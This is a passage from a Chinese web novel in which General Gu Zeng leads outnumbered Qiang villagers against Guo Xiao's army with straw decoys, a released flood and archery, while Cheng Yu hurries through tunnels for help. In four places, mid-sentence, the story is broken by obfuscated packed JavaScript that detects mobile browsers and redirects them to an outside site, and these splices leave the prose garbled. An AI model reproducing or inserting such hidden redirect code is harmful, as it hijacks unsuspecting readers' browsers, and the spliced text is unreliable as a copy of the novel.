顾曾此刻怒火中烧,浑然不顾什么前辈不前辈,扬手揪住他前襟,哑着嗓音恶狠狠道:“老头儿你少废话,我告诉你,我铸光军中没有‘临阵脱逃’一词,再不拿舆图来,我就先拿你开刀。” 长老已全然被往昔痛苦的回忆裹挟,发出无助的哽咽声,喃喃道:“为什么……你为何要帮我们?” 顾曾突然笑了,眉目间的那点心绪不宁于此时涤荡一空,朗声道:“下民易虐,上苍难欺。你们不是认我做那什么神女么,这世上从无抛下子民自己逃命的神祇。何况鄙人一向眼空四海,你要我做个欺世盗名之辈,绝无可能。” 活命是好,可惜列祖列宗在上,迦若将军的排位在前,她丢不起这个人。 至于长老的那句“为了什么”,在军营里和那帮视死如归的家伙们混久了,她有许久没听到这种毫无意义的问题了。 就当是为了那笑容纯粹的少年,为了还身上这条彩裙的情,为了那些横七竖八压得她头昏脑涨的银饰,为了大山中千万双辛苦劳作的双手…… 他们既奉她为神,那此身便当化神,她将无往不利、无坚不摧。 长老眼眶一润,突然便想起了十几年前的某一天。 那天,新任首领迦若次乌在他面前兴冲冲地大放厥词:“长老,我这次下山新认识了一个朋友,此人豪情万丈,无所不知无所不能,就如天神阿爸一样!” 彼时心还未死的长老遂第一次见到了那位天神一样的傅昙将军,只觑了一眼便冷冰冰心道:“哼,不过是个毛还没长齐的混小子。” 之后的那几年,在次乌和傅昙两个混小子的运作下,大昭数不尽的物资流入穷乡僻壤的羌寨,年轻人走出去又走回来,带回一个又一个的新奇玩意,而他们也组建了一支兵强马壮的军队,从此可不惧宵小、不畏外敌。 那时的族内是何等兴旺繁盛啊,可为什么一夕之间全都没了呢? 澜江对岸的羌寨,羌人正一刻不停地筹备着。 顾曾道:“现在除了你没人放弃,你们费尽心血,别这么轻易言败。本铸光军骁骑营副将在此允诺,一定会保住你们的家。” 长老缓缓地笑了。 次乌曾说过,有他在和小傅在,一定能守境安邦。如今他们虽然不在了,此时此刻却有新的人在这当头的倾盆雨幕中水灵灵地站到了众人面前。 长老心道:“傅昙啊傅昙,生了这么个女儿,你若有灵,也当欣慰得很罢。” 他定了定神,眉头一展,复归平日里的矍铄之姿:“行,跟他们拼了!” 他从壁上的某个暗格中抽出一张破旧的羊皮卷,塞给顾曾,两眼直泛泪花。似是许久都没这么心潮澎湃过了,他涕泪横流道:“神女大人,全靠你了。” 顾曾郑重颔首,手中迫不及待展开那舆图。 羌寨分南北,所处蝴蝶谷正东,位于一狭长的山谷间,两侧险峻难登,仅以一条隐蔽的羊肠小路与东部的山林相连。 南寨山门以倾泻的澜江为屏障,居高临下,易守难攻;缺点也很明显,一旦失了山门的天险,寨内地势平坦,将再无抵抗之力。 祠内噤若寒蝉,顾曾在心底快速盘算了一遍:“若所料不错,安宁军的主力应当还是埋伏在北山,于此处出现或许是误打误撞,或许是另有所图,但总之,并非坚不可摧。” 她近乎一目十行扫完,一把将舆图塞给一旁没什么存在感的程彧,对他浅浅一笑:“我一人可应付不来,关键之处,全仰仗二公子了。” 也真是奇了,她明明什么都没说透,程彧却偏偏当即明白了她言下之意。 一时间,他心中幽然暗生了不知多少百转千回,望着顾曾莞尔:“你啊你,总想着和别人同生共死,什么时候也和我生死与共一下?” 顾曾敛眉,弯了弯唇角:“有二公子在,我哪还敢胡作非为让你涉险?” “好吧好吧,”程彧边笑边叹气,将舆图揣到怀里,清亮的眼神泛起一层薄薄的水雾,连带着语气也温柔了不少,“你舍不得我死,我知道的。” 长老不知所云地看着他们两个,心里却莫名臊得慌:“你们在……”他本来想说“打情骂俏”,但瞥到一脸大义凛然的顾将军,又觉得是自己误会了,当下羞惭不已。 顾曾同他解释道:“你们人太少,不可能打得过安宁军,充其量也不过是拖延他们几天。” 长老急道:“那你还……” “所以这不是需要我们二公子去给扶苍军领路么?”顾曾笑着看向程彧,“我还就不信了,郭侯养的这帮兵膘肥体壮的,难道还能比得过我们在西北战场厮杀多年的将士么?” 原来如此,果然是自己想多了!长老感激涕零地看向程彧,握住他的手,擦了他满手黏糊糊的眼泪:“那就全仰仗这位……二公子了啊!” 程彧嗤的一笑,拍了拍长老的肩,顺势将他的眼泪又抹回他身上,又对顾曾摆摆手道:“快去罢,他们整兵大概也快要整好了,主将大人该去坐镇了。” 顾曾“嗯”了一声,对他欠身一拜,刚转过身,程彧突然在背后慌乱说道:“阿曾,别……别逞能,别真死了。还有,别忘了,以后……” 顾曾冲他回身一笑,清肤玉容,灿若云霞:“……等你请客吃饭,翻来覆去说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346891|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许多遍了,我记着呢。” 程彧犹如被一把看不见的烈火烧过,荒芜的心间如今只有一番灼热的燎原,焚烬他所有残存的理智。 他嘴上应得轻巧,实则却是怕极了。他怕她受苦、受难、受委屈,怕她就这样死去,怕以后再也见不到她,怕她会轻易就将自己忘掉。 他还怕,有些话此时若不去讲,此生便再无机会宣之于口。 程彧不由自主地缩回探了半步的身子,踱步至顾曾身前。顾曾也并没有催促他离开,她就站在他对面笑意柔和地望来。 若是能留得再久一些该多好,若是能一辈子待在这不问世事的大山里该多好,可是战争说来就来,所有人都没有做选择的命。 程彧隐隐只觉他二人心有同感——此间一别,他们或许会此生不复相见。 “阿曾……”他附在顾曾耳边,第一次感受到她专注的灼灼目光落在如此近的一侧。 “嗯,我在,你说。”顾曾以为他要说什么正经事,不自禁凝神去听。 程彧有太多话想说,比如:“……你还记得我么?我就是那个……罢了,瞧你的样子就不记得,不记得也无妨,只要你从现在起一直记得便好……” 然而千言万语涌至唇边,他心里却伴随着升起一阵锥心刺骨的绞痛,脑海中不住重复呓语:“我不配被她这样看着……我该死……我该去死,我不配!” 君为高山,我为尘埃。万千思绪交杂,教他无论如何也开不了口。 程彧的迟疑其实只有几瞬,而顾曾就在这片刻沉寂中第一次听到了自己胸膛里那呼之欲出的心跳,令她几欲窒息。 程容与,这个与她过往人生格格不入的混蛋,这个其实也没那么混蛋的混蛋……要对她说什么呢? 她惊觉自己在意得紧。 万籁俱寂,唯有雨声。 此时,她耳边闪过一阵温热,裹挟着一丝蜻蜓点水般又麻又痒的刺痛。 “………………” 这混蛋是属狗的么?居然在这种时候……咬了她一口?!! 顾曾怔怔摸着自己那遭罪的耳尖,面上燥热,一巴掌还没来得及抡出去,程二公子便化身一缕灰烟,嗖的一下钻进暗道跑没影了。 程彧倚着暗道墙壁,四肢百骸都在微微颤栗。 顾曾在外面暴跳如雷吼了一嗓门:“臭小子,再让我瞧见你,我扒了你的皮!” 不消看也知她正气得跳脚,程彧低低一笑,倏地释然吐出一口气,向着暗道深处走去。 宗祠内,顾曾并没有跳脚,她实则失魂落魄的,总觉得胸口堵得慌。 她好似也有什么该说的话未曾宣之于口,然而时间紧迫,容不得她细细梳理自己的思绪,她便只好敛了敛心神,握紧拳,将一切不为人知的幽愁暗恨抛却,疾步冲至雨中。 冰凉的雨水劈头浇来,她倏地意识到,其实自己也不知该说什么,那便……祝二公子此生平安喜乐、顺遂无忧吧。 顾曾轻抬眼皮,眸间已雪亮如刀。她的眼前,如今只该有雪虐风饕的战场。 25.少年 澜江在暴雨的加持下更加肆虐,绳桥如同一只滑溜溜的泥鳅,不安地扭曲着自己蜿蜒的身躯。 生死大事面前,顾曾什么都不怕,更不畏惧这绳桥,只告诫自己扶稳些。 掉进水里淹死这个死法可不怎么样,估计以后得被她帅气自刎的老爹嘲笑。可若是战死沙场马革裹尸,高低她爹也得夸她一句“英勇就义”。 就这样,不想让自己死得太难看的顾曾极其顺利地到达了对岸,而此刻,长老还在瑟瑟发抖。 他那么多年没跨过这澜江了,今日再见,竟有控制不住的眩晕之感。好在,人活了这么大岁数总不能事事都不行,仗着年轻时的底子,他总算是有惊无险地通过。 此时,顾曾已经顺了身少年人的铠甲穿好,云戈也已在一旁静候。 云戈左看右看,奇道:“坏……哥哥,不见了。” 长老:“好孩子别担心,那位少侠去搬救兵啦。” 云戈看向顾曾,心道:“姐姐,在保护他么?” 顾曾正在雨中行走如风地指挥,看得长老有些恍惚。 他清了清嗓子,正要发些多余的感慨之时,突然便被她狠狠剜了一眼。 顾将军正好郁结难舒,需要找个人撒气,喝道:“别光站着不干活,你年纪这么大就别去前线捣乱了,领着妇孺先去山里的耗子洞里避避险。” 长老立刻挺直了腰板:“是……”他这两日跟中邪了一样,这小姑娘说什么他都不得不听。 “有一点你得记住,”许是不放心,顾曾又追上来嘱咐道,“你们是全族最后的希望,若……若我们没撑住,你们便立即离开,千万别回头。你既然是长老,就有点长老的样子,少耷拉着脸一副全世界都欠你银子的模样。切忌人心不稳,切记切记。” 长老甚至没来得及应声,顾曾便拉着云戈一齐走了,留给他两个视死如归的背影,与当年傅昙和次乌并肩离开的样子如出一辙。 他突然一句话都慨叹不出来了,只觉冥冥之中万事皆有天意。 顾曾的心中其实早就乱成了几股大麻花,只是就像她嘱咐长老的那样,害怕人心不稳,只好装出一副泰山崩于面前也纹丝不动的气魄。 二人火速赶往阵前,羌人已照她所说,左右翼各一千持锋携盾的精兵,中路有将近两三千参差不齐的老弱病残。 顾曾拧了拧眉心,单手拎出个瘦猴似的小崽子:“你多大了?” 小猴不敢看她的眼睛,低着头道:“十七。” 他连个头都还没开始蹿,顾曾听了直发笑:“再胡说我这就拿你去塞敌军的炮筒,我再问一遍,多大了?” “十……十二。”小猴差点被她吓哭。 “胡闹!”顾曾脸色遽然一变,喝道,“所有人,不到十六的,给我滚回去躲着,好好照顾你们阿娘,大人的事情长大了再来掺和。” 云戈愣了一下,垂头丧气道:“姐姐,我……” 顾曾的手落在他肩上,语气柔和:“你除外。你是首领,理应担起更多的责任。” “是。”云戈的眼神霎时清亮如初。 少年们不甘心地离开,回首盼了又盼,奈何顾将军的心肠是石头做的,满脸嫌弃地让他们滚快点。本来就没几多少战力的中路,经过此番轻简后只余不足千人。 不多时,派出的斥候回来了,云戈将他的话转述给顾曾听。 安宁军一炮轰垮了澜江的马蹄口,为避免洪水泛滥正在原地观察地形,给了羌人喘息的机会。 顾曾思忖着斥候的话,若有所思:“为首的人很年轻……嚣张……听不进旁人的话?所作所为也十分像个笨蛋……安宁军有这号人物么?” 郭侯虽然是个小人,但他是个真将军,提拔出的手下也都不是无能之辈,不然也镇不住西南的蛮夷和山匪。 但听斥候的意思,这位率兵而来的主将似乎是个彻头彻尾的……废物,郭侯怎么会重用这样一个人?!难不成他是在给他家亲戚走后门…… 思及此处,顾曾那心事重重的眉头霎时舒展:“……除非那人是他儿子!” 郭霄。 她的思绪霎时便理清了。郭侯谨慎,就算要把主力放在北边,南边也不会全然不理。但这里山穷水恶,姜祐珣能不能带着人下来还是个问题,就算下来了也是半死不活的残兵,派出他这个废物儿子也便足够。 至于郭霄好端端地为何要打羌人?顾曾猜测他压根就不知道自己在打谁,只是看见人便想着出风头,管你是敌还是无辜,大军面前,他视人人如蝼蚁,最后都得成为他战功的一部分。 正在气头上的顾将军咬牙切齿地握了握拳,阴冷一笑。 有些混账东西不吃点苦不知道自己几斤几两,为了帮助郭霄更好地认清自己,她决定在这里把他打得满地找牙,让他承认自己只是个做纨绔的料,以后休要再来玷污“将军”二字。 “来人有多少?”顾曾将被雨水浸湿的碎发塞到巾帼中——羌人这支杂牌军连个正经头盔都没有,每人头上只绑了些花花绿绿的发带作区分。 斥候说了半天也没说明白:“许是一万,或是两三万?” 顾曾看着眼前这两千多号人,一时有些唏嘘,一两万的差别对于叱咤大漠的铸光军来说不算什么,但对于羌人,那便是五倍还是十倍的区别。 敌军五倍兵力之于己,若战,能胜,可谓骁勇。若敌军之势如排山倒海,若战,是以卵击石,谓之不自量力。 她表面风轻云淡,扬手招呼左翼的小队长:“那位兄弟,你来一下,领着你的人,绕到侧后方先按兵不动。右翼的那位千户兄,你埋伏在山腰,和左翼把他们三成的人和辎重合围起来。” 她令下完,发现这群人连辎重都不知是何意,战术也听得一知半解的。最终,她只好端出自己所有的耐心,像教稚子识字一样,又细细地给两队解释了一遍战术。 最终点到中路:“余下的……” 余下的这帮大爷大叔、大妈大婶们各个面露风霜,有的甚至还缺胳膊少腿,手中抄着同样残破的锄头之类的农具。 她捏了捏眉心,笑道:“……先把草 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他居然可以说出一个完整的句子了,顾曾惊讶之余,对他弯眼笑笑:“你已然是了!” 云戈兴奋难掩,紧了紧自己那不合身的甲胄,肃然道:“将军,云戈定不辱命。” 顾曾看着他欢天喜地的背影,含笑叹了口气:“当将军有什么好的啊,心要操碎,命却比纸还薄。” 若不是他们这些人卧雪眠霜十年饮冰,这国家早就碎成不知几块了,而他们毕生所求也不过就是个安度晚年。 可惜,乱世之下,连这都成了奢求。 郭霄的手下果然还是有正常人的,他没有再动用开山炮,反而在原地扎了营,挖了一整天被炸垮的澜江河道。 雨水混着江水,把山土捣成泥浆,翻腾出一股刺鼻的浊腥气,一群人边骂边挖,边挖边骂。 堂堂安宁军居然干起浚工来还有模有样的,顾曾站在一处隐蔽的高地,笑了好半天,心道:“自作自受。” 入了夜,眼看云戈那边也挖得差不多了,她呼哨两声叫了停。 差不多是时候开战了。 26.强弩 只是此刻,顾曾无奈地看着山门口立着的一片稻草人大军,心中又好气又好笑。 那帮被她撵回去的小崽子们不甘心,各个卯足了劲儿比谁扎稻草人扎得快,手上功夫不行的便干些跑腿的活计,每过一会儿就有七八个少年抱着一捆一捆的假人过来。 谁还没有个一腔热血无处使的年纪,她也是从这个时候过来的,左右也不是什么大事,便由他们去了。 谁知这帮少年不仅自己攀比,还拉着自家的阿娘阿婶阿婆一起。一小家子人凑在一处,你钉骨架我扎腿,分工明确,干活麻利又有耐性,一天之内几乎用光了寨里所有的秸秆,扎了上千个草人。 奈何山门就那么窄的一条道,大半天过去,地上的草人已经插得密密麻麻的,看着都教人喘不过气来。 顾曾从地上揪起一个正在“插秧”的小孩,笑道:“别做了,快叫大家停手吧,你看看这还像话么?” 成片的草人中零星混了些昏昏欲睡的农夫,均分下来,五个“人”里只有一个真在活着喘气。 “还有,摆得这么密,这两个都前胸贴后背了,敢问是在排队跳崖吗?”顾曾拔起那小孩刚刚插好的一个,挪到了五尺之外,比划道,“每个,要间隔这么远,至少也要是能自由挥剑的距离才能骗过对方。你们既然想帮忙,就把这烂摊子重新摆好,多余的草人赶紧拿走。” 几个少年又忙活了大半个时辰,才照她的吩咐做好。 雨势早就小了许多,但澜江已进入丰水期,河道堵了一半,上游羌寨处的水位在大半天的时间里升了得有小半丈,眼看郭霄那边的河道也快挖通了,是时候要叫他体会一下“满腔心血付之东流”的感觉。 顾曾吩咐云戈点灯,幽深静谧的羌寨门口霎时煌然如昼,映出一条通往谷内的崎岖小道来,而小道上,有刚做好的草人大军,影影幢幢,望不到头。 顾曾杵了杵云戈:“你去叫阵?” 云戈脸上一红:“我?说什么?” 顾曾稍加思忖,笑道:“你就说,‘郭霄狗贼,速速出来受死’。” 云戈面红耳赤脸,照她教的磕磕绊绊说了一遍,细声细语,同翻腾的澜江相比简直就如蚊子在耳旁打了个响。 顾曾斜斜瞄他一眼,笑了,云戈登时更紧张了,勉力提起一口气,用他胸膛内所能爆发出的最大气力朝山坳外大喊:“郭霄狗贼——速速出来受死———” 第一声放出,他忽然觉出一丝恣意的畅快,仿佛所有的浊气与顽皮赖骨都随风而散,有种陡然开悟的实感,激动之下便一口气又重复喊了五六遍。 雨后初晴,天际墨蓝无光。 少年清脆明亮的声音穿过溽湿的浮云,顺着山谷,飘进了快被瘴气腌入味的安宁军耳中。 顾曾打手势示意云戈停下,笑道:“好了可以了,再叫小心一会儿被按在地上揍。让左右两翼做好准备,不可恋战。” 她又挑了把窄细的短刀递给他:“待会真要动起手来,千万别闭眼。” 云戈神色复杂地接了过来,他虽看过族人训练,也有心加入,奈何从小不好好吃饭,身形过于纤弱,从未成功入选过长老钦定的巡山小队。 此刻,是这少年第一次正经地握住一把刀。 他正着握反着握,怎样都拿不顺手,只觉那刀有千斤重,稚拙的脸上浮出一阵无所适从。 这十四岁的孩子心底倏地有了个念头——虽然他现在还无力做到,但也许有一天,他也会披金带甲地挺身而出,将所有人护在身后,直至粉身碎骨,就像面前这形影单薄的姐姐一样——他愿意称之为他的宿命。 云戈笑意沉稳:“姐姐,我不会躲的。” 山色空蒙,松色滴翠,起雾了。 这支安宁军受命埋伏在此,本是安安稳稳在澜江的河道沿岸扎营,奈何斥候来报说前方有一巨大的村寨,可能会有敌人埋伏,主将郭霄激动之余开了一炮,然后,山体就垮了,澜江上流的水源也被堵住了,几丈宽的河道中央此刻只余一条细细的涓流。 最近正是汛期,垮塌的河道易致山洪,安宁军只好半截小腿踩在泥地里,尝试将淤堵的河道挖开。 直至天色黯淡,劳累了一天的安宁军将士终于放下了铁锹。 他们又累又饿,面色已被熏得青紫,宛若中毒。最要命的是,炊灶里那白花花的米粒子都泛着令人作呕的腥臭,看着像是掺了石灰的泔水,狗彘来了也难有胃口。 惨剧的始作俑者郭霄小侯爷年方十八,长得是普普通通的清秀,正是英姿隽迈的年纪,心气大过天,绝不会容许此等山间浊气污了自己的玉体。 他寻了个上风口,一边骂手下这帮废物拖累自己称霸西南群山的进程,一边抱着那架巨兽般的火炮爱不释手。 他心道:“这次出门真长见识,开山炮果然威力无比,难怪父亲大人将其奉为圭臬,若有机会,得一炮一个山头地打过去,看谁敢不服。” 正当郭霄欣喜洋洋做梦时,云戈的叫骂声不合时宜地响起,给他灿烂的心花上当头泼了盆挑衅味的冰水。 他站最前,听得最清楚,而他手下那帮人自然也听到了,甚至还一个不小心笑出了声。 郭霄缓缓摘下头盔,霍地往地上一掷,金石相击的脆鸣缭绕中夹杂着他的怒吼:“反了,反了!” 这年头真是开了眼了,什么货色都敢来叫板了! 他怒火中烧地扑上前去,打算再开上一炮。 几个副将吓得遽然变色,匆忙拦住,抱腿的气沉丹田、说好话的上下嘴皮子翻飞:“小侯爷,冷静!之前是咱们运气好没把澜江炸决了口,要是再来这么一下,咱们可都得死在这啊!您大人不记小人过,莫与蛮人多计较啊!” 郭霄一想到有可能要埋在这臭泥地里,也觉得有些不妥,便飒然地甩了甩衣袍,英武地将手中重剑“哐啷”一声扎到了地中。 他缓缓露出一个笑容,佯装出来的沉稳中还带着点不伦不类的流氓气质,扬声大喊道:“姜祐珣呢?出来受死,我要和你单挑!” 几个副将差点当场一头撞死。 他们先前就劝过他不可张扬行事,奈何郭霄不听。能把偷鸡摸狗的事做的如此光明正大还理直气壮的,郭霄小侯爷是当之无愧的第一人。 见没人应声,手下这帮不会看人眼色的废物也不知夸他英明神武,郭霄终于勃然大怒,炮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360357|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仗似的吐出一阵叫骂,直骂得自己口干舌燥。 他停了下来,眯眼一看,隐约望见这破寨子门口有一列鬼鬼祟祟的人影,想来是敌人躲在迷雾之后打算伺机埋伏,心中止不住地冷笑:“看来不给这帮喽啰点颜色看看,他们就不知该认谁做爹。” 他大喝一声:“上弩阵。” 正在吃泔水的安宁军不敢忤逆,被迫收起锅碗瓢盆,给林间全副武装待命的弩队让道。 数百身着金曜甲的强弓手自两岸密林中鱼贯而出,各各龙精虎猛,胳膊比脖子还粗,怒目金刚似地瞪着一双双锐利的鹰眼。 顷刻,他们已列阵排开,有条不紊地架好了弩,只等待郭霄发号施令。 雪亮的箭矢犹如碎星,烙在远处静静观望的一双漆黑的眸子中。 一切都如预料的无二,顾曾哂笑一声:“可怜天下父母心,郭侯果然还留了这么一手,可惜什么好东西给了郭霄也是白瞎。” 郭侯万分宠爱他这个二儿子,郭霄出兵,他定会派出安宁军最精锐的弩队相随。 早些时候,顾曾已派斥候打探了整整一天,但郭霄把这杀手锏藏得隐蔽,寻大概是寻不到的,她只好引蛇出洞。而郭霄这条一点杀伤力都没有的菜蛇,果然一引就上当。 顾曾压低身子,示意众人速寻山石掩护。 有些故事她早就听到包浆了,例如当年她祖父当年就是靠着所向披靡的弓箭手平定了西南,这些弓箭手最后却并没有跟随祖父回到渭城,反而留在了西南,成为了安宁军的中坚之力。 随着郭霄一声令下,密集的箭雨呼啸而来,几百个立在寨门口的草人君们霎时就被扎成了刺猬,随着震颤的箭尾翕动不休。 箭矢由精铁打造,自强弩射来,如疾风般穿云破雾,即便是一头扎进湍流的澜江中也蹿行了好远,有几个羌人大爷被流矢擦伤,皮开肉绽,鲜血淋漓,却不敢嚎叫出声,只捂着嘴忍得好生辛苦。 顾曾:“无妨,大声叫罢,毕竟没有人被射成筛子还不惨叫的。所有人,若是你身旁有人喊不出来,允许你揍他一拳替他松松嗓子。” 主将有令,莫敢不从,霎时间,山谷中响起了一阵凄厉的鬼哭狼嚎。 这杀猪般的鬼叫在郭霄耳中却如同仙乐,得意之至地眯眼一瞧,发现这帮人简直是不要命地送死,倒下去了一波,居然立刻就补了新的一群人。 “放箭,放箭!”他几乎是吼出来的。 又是一阵暴雨般的急矢。 顾曾心觉差不多了,再演下去就该露馅了,便命人火速拆掉草人,准备开战。 云戈抱着一个刺猬草团子扎到她面前,又递给她一张弓:“姐姐,你要的。” 那是把生了锈的大铁弓,一看便有年头了,顾曾拎在手里掂了掂,竟然觉得挺顺手。 故事总归是故事,得有个续。当年她祖父靠铁弓平西南叛乱,而今时今日,在一干出类拔萃的强弓手面前,心高气盛的顾将军也敢妄言:这天下第一神箭手的位置,从来都是她的、她家的,而非他安宁军的。 她从草人上拔下一支箭,展身挽弓,凝眸而去,所有的意志皆凝聚在箭尖所指,对准了郭霄的眉心。 27.噬心 郭霄这混蛋小小年纪就生得满脸草菅人命的戾气,偏偏她还不能伤到他的性命,否则朝廷那边谁也无法交代,郭侯一怒之下定会请旨灭了羌人全族,说不定还要颠倒黑白,将祸水引到姜祐珣身上,西南这局便成了死局。 拿十个……不……一千个郭霄换一个姜祐珣,她都觉得得不偿失。 几番思索之后,顾曾“嘁”了一声,咽了一口不甘的恶气,稍微将箭尖偏移了几寸,眼角微微抽动:“真是便宜这混蛋了。” 箭鸣清亮如啼,几乎没人看清箭身,只见一道银光乍现,擦着郭霄的鬓角而过。 与此同时,云戈一声令下,澜江淤积的河道口处响起了一连串巨响——他们引爆了堆在那里的炸药。 顾曾其实也不确信这法子能不能奏效,小山寨里的辎重比不上安宁军,开山炮肯定是没有的,有的只是一些平日里凿山用的黑火,看着黑烟滚滚甚是骇人,实则威力不大。 但没法子,东西就这么多,凑合用罢。 郭霄只感到什么东西疾风一样擦着自己过去,留下一阵丝丝寒意,抬手摸到了几根断掉的鬓发,皮肉却丝毫未损。 此人心宽无比,完全没意识到他刚刚逃过一道生死劫,只有身旁的几个副将吓得面若死灰,簇拥着郭霄:“快保护小侯爷!” 郭霄烦躁地推开他们,愣怔怔看着山寨口的浓烟,蓦地纵声大笑,笑得眼泪都快出来了:“村口唱戏的把戏也敢拿来骗本世子,真当我是没见过世面的乡下人么?” 笑声未落,下一刻,便见一条通天澜江卷着无尽砂石、携着滔天怒火,咆哮而来。 郭霄吓傻了,他和几个副将占据高地,只湿了半条裤子,但他手下的兵可就惨了。 首当其冲的是站在最前的强弩阵,崭新的金曜甲连血都没溅上一滴,便被劈头盖脸地卷进了泥泞的江水中。 涨水期的澜江犹如一条庞大的凶兽,所到之处,片甲不留。 发黄的水中浮起一连串的气泡,除了最前面被拍成杂鱼的强弩队,大部分的兵福大命大并没被卷走,只是被江水冲得在泥水里打了几个滚,在江水稍加平静后便踉跄着爬了出来,一边爬一边吐着酸水,身子被泥泞拽得走不动道。 怎料,第一批人刚爬到岸边,酸水还没吐干净,便见一群早已埋伏在此的羌人举着大刀杀喊了过来。 这些人各各身长八尺,燕颔虎须,气势汹汹如若天雷,是羌人中的精锐! 安宁军阵型大乱,断后的队伍本来都拿自己当会使刀的伙夫,怎么也没料到羌人会先拿他们和辎重车开刀,被两相合围之下,几乎毫无抵抗之力。 天时地利人和俱全,左右翼的两股羌人以迅雷之势会整完毕,火速杀向了安宁军的中路。 一旁观战的郭霄怒火中烧,吼得喉咙都哑了:“杀啊,快把他们都杀了!老陈,你去指挥。” 身侧的老陈不应声,郭霄一急,用力搡了搡他,这位陈副将却蓦地身子一软,跌进了奔腾的江水中。 他的尸体在十丈外才浮出了水面,身子朝下趴着,脑袋正中插了根强弩队的疾风矢。 郭霄恶狠狠地回眸瞪来,望向的正是顾曾的方向,嘶吼道:“无耻小人,有种的单挑!” 顾曾深深看了他一眼,冷声一笑,又抽出了一支箭。 这次,郭霄是眼睁睁地看着另一个赵副将脑壳开花的,鲜血混着脑浆溅了他一脸,人死前还狰狞地扒拉了他几下。 他这下再顾不得单挑的事了,直吓得两眼翻泪花,连滚带爬地跑进了安宁军混乱的大部队中,撕心裂肺喊着:“有人要杀我,保护我,快保护我!” 顾曾与云戈无声对视一眼,抽出腰间佩刀,而那少年也依着她的模样,举起了手中的利刃。 斯人已逝,而遗风长存,铁血犹在。 顾曾扬声道:“小花招都用完了,接下来便要靠手中的刀剑来说话,以此为界,退者斩立决。” 她第一个跨过自己劈下的那道印记,眸间杀意凛然:“随我上。” 她身后,是一群最不能称得上兵的农民、裁缝、厨子、铁匠……三教九流们齐刷刷应道:“是,将军。” —— 细长的甬道如延展的血脉一般贯穿了整座山谷,不知几百年前的巫族耗费了多少代的心血才打通了这些耗子洞。 程彧脚踩着蜿蜒盘旋的石阶,如临大敌地紧握着佩剑。 这石阶仿佛永远也走不到头,周遭阴冷异常,路上偶尔可见几盏长明灯,灯光熹微,并无大用。 他早已把舆图上那九曲十八弯的路线深深刻在了脑子里,其余的不敢多想,怕自己的思绪天马行空到一些不该想的东西。 没说出的千言万语被理智强行压回腹中,一旦想起,他便会觉得心里被凿了个窟窿,漏的风活像吞了把碎刀子。 程彧扶住石壁,用力甩了甩头,脑中传来一阵剧痛,苦笑道:“这地方真是人能待的地方么?有没有不会喘气的僵尸大哥陪我聊个天解解闷——有人么?” 四下阒寂无声,只有他愈发急促的喘息声。 又不知过了多久,他浑身颤抖,眼前已然不由自主地开始眩晕,后背的伤口缓缓渗着血,时不时传来一阵剧痛,他便凭着这丝剧痛勉力维持清明。 这种不知疲累的奔跑令他想起了那些为奴的日子,猛兽于身后穷追不舍,他不想死的话,便只能不要命地跑。 他已经许久没这样跑过了,尔今却不是为了活命,是为了牵挂。 黑暗无穷无尽,程彧只觉踽踽独行了几十年那么久,久到他快要绝望地喊出声来时,远处的门上露出了一个透着天光的小孔。 他没有减缓脚步,一脚重重踏上,破落的木板应声而开,门樘轰然脱落,一条洒满月色的羊肠小径浮于眼前。 小径只有一人宽,大部分地方都被厚厚的青苔和野草掩埋,几不成路。 程彧大口喘着粗气,浑身已被冷汗浸透,泛着青筋的手就近搭着一株树干,眉头一紧,又不顾形象地吐了。 他满眼冒着金星,面色难看至极,回首再看这条绵延不绝的甬道,生出一种劫后余生的后怕,心道:“以后打死也不再钻这耗子洞了,就算是阿曾求我,我也……也得考虑考虑。” 舆图标明,他才走了不到一半的路程,他不敢歇息,甚至加快了步伐。 月光流转,从头顶逐渐移到眼前,日升月落,林中逐渐又蒸腾起一层薄薄的瘴气。 如此不眠不休地赶路,他的眼皮早就重得抬不起来,骨头缝里都在往外冒酸水,四肢百骸叫苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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若熟悉他的人在此看到他,绝对不会相信眼前人和众人熟知的程容与是同一人——此人杀气腾腾,武艺奇高,堪称世间难有。 他双眼彤红,暴虐的恨意燃遍全身,几乎是依循本能刺出长剑,剑势凌厉而霸道,仿佛要把眼前人生吞活剥。 对面并未与他过招,刀鞘格住长剑,侧身一闪,连刀带鞘已被他的剑锋斩成两段。 程彧一声讥讽的冷笑,回身变招时才看清来人,统共有十余个挺拔英武的侍卫,围着一个着白玉带、眉目清隽的年轻男子。 他眼睫微动……哥? 这片刻的清明化作带着尖刺的倒钩,勾在他心中,令他胸口骤然燃起一阵尖锐的刺痛,一股腥甜涌上喉间。 “程容与,还不住手!”年轻男子不怒自威地喝道,“你看看清楚我是谁?” ……你是我哥。 只言片语犹如惊雷划过程彧耳畔,他再也握不住手中长剑,四肢百骸松弛下去的一瞬间,接连呕出了几大口黑乎乎的瘀血。 